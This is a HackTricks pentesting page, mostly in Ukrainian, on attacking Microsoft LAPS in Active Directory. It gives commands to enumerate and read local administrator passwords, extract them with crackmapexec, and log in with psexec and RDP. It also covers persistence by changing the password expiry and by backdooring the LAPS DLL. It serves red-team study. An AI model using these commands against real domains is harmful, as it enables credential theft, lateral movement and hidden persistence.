12 KiB
LAPS
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
Basic Information
Рішення для паролів локального адміністратора (LAPS) - це інструмент, що використовується для управління системою, де паролі адміністратора, які є унікальними, випадковими та часто змінюються, застосовуються до комп'ютерів, приєднаних до домену. Ці паролі зберігаються безпечно в Active Directory і доступні лише користувачам, яким надано дозвіл через списки контролю доступу (ACL). Безпека передачі паролів від клієнта до сервера забезпечується за допомогою Kerberos версії 5 та Стандарту розширеного шифрування (AES).
У комп'ютерних об'єктах домену реалізація LAPS призводить до додавання двох нових атрибутів: ms-mcs-AdmPwd
та ms-mcs-AdmPwdExpirationTime
. Ці атрибути зберігають пароль адміністратора у відкритому вигляді та час його закінчення терміну дії відповідно.
Check if activated
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPS Password Access
Ви можете завантажити сирий LAPS політику з \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
, а потім використати Parse-PolFile
з пакету GPRegistryPolicyParser, щоб перетворити цей файл у формат, зрозумілий людині.
Більш того, рідні LAPS PowerShell cmdlets можуть бути використані, якщо вони встановлені на машині, до якої ми маємо доступ:
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
PowerView також можна використовувати, щоб дізнатися хто може прочитати пароль і прочитати його:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
The LAPSToolkit полегшує перерахунок LAPS за допомогою кількох функцій.
Одна з них - це парсинг ExtendedRights
для всіх комп'ютерів з увімкненим LAPS. Це покаже групи, які спеціально делеговані для читання паролів LAPS, які часто є користувачами в захищених групах.
Обліковий запис, який долучив комп'ютер до домену, отримує All Extended Rights
над цим хостом, і це право надає обліковому запису можливість читати паролі. Перерахунок може показати обліковий запис користувача, який може читати пароль LAPS на хості. Це може допомогти нам націлити конкретних користувачів AD, які можуть читати паролі LAPS.
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
Витягування паролів LAPS за допомогою Crackmapexec
Якщо немає доступу до PowerShell, ви можете зловживати цим привілеєм віддалено через LDAP, використовуючи
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
Це виведе всі паролі, які користувач може прочитати, що дозволить вам отримати кращу позицію з іншим користувачем.
** Використання пароля LAPS **
xfreerdp /v:192.168.1.1:3389 /u:Administrator
Password: 2Z@Ae)7!{9#Cq
python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq
LAPS Persistence
Дата закінчення терміну дії
Якщо ви адміністратор, можна отримати паролі та запобігти оновленню пароля машини, встановивши дату закінчення терміну дії в майбутнє.
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
{% hint style="warning" %}
Пароль все ще буде скинуто, якщо адміністратор використовує командлет Reset-AdmPwdPassword
; або якщо в LAPS GPO увімкнено Не дозволяти термін закінчення пароля довше, ніж вимагає політика.
{% endhint %}
Задня дверцята
Оригінальний вихідний код для LAPS можна знайти тут, тому можливо вставити задню дверцята в код (всередині методу Get-AdmPwdPassword
в Main/AdmPwd.PS/Main.cs
, наприклад), яка якимось чином експортує нові паролі або зберігає їх десь.
Потім просто скомпілюйте новий AdmPwd.PS.dll
і завантажте його на машину в C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll
(і змініть час модифікації).
Посилання
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Підтримати HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.